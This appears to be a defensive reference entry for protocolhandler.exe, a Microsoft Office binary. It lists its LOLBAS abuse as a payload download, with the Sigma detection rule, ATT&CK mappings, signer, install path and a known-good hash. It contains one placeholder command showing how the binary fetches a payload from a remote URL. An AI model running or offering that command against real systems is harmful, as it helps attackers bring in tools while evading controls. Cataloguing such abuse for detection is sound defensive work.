protocolhandler.exe

Microsoft Office file version info (xCyclopedia)

LOLBAS Download 1 Sigma rule name it 2 ATT&CK techniques 1 documented command 1 known copy with hashes

How protocolhandler.exe is abused

documented by LOLBAS

Download T1105 Ingress Tool Transfer

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for protocolhandler.exe.

1 documented command

from LOLBAS, each read by the identifier

Download T1105 Ingress Tool Transfer User privileges

Downloads payload from remote server

ProtocolHandler.exe {REMOTEURL}

Identify

Trips 1 Sigma rule: mediumFile Download Using ProtocolHandler.exe by frack113

The command the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for protocolhandler.exe, by Nir Chako, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for protocolhandler.exe. The identifier reads it with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules

mediumFile Download Using ProtocolHandler.exefrack113

T1105Ingress Tool Transfer

T1218System Binary Proxy Execution

Is it the real protocolhandler.exe?

file version info and known copies

Installed inC:\Program Files (x86)\Microsoft Office\root\Office16\

Signed byMicrosoft Corporation

ProductMicrosoft Office, Microsoft Corporation

DescriptionMicrosoft Office

1 known copy

16.0.12527.20482 · C:\Program Files (x86)\Microsoft Office\root\Office16\protocolhandler.exe · signed by Microsoft Corporation

f0dc0d45d12fdde03b8c16decc4133e6f65c9028c277e2e9170318b863cfb1bd

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.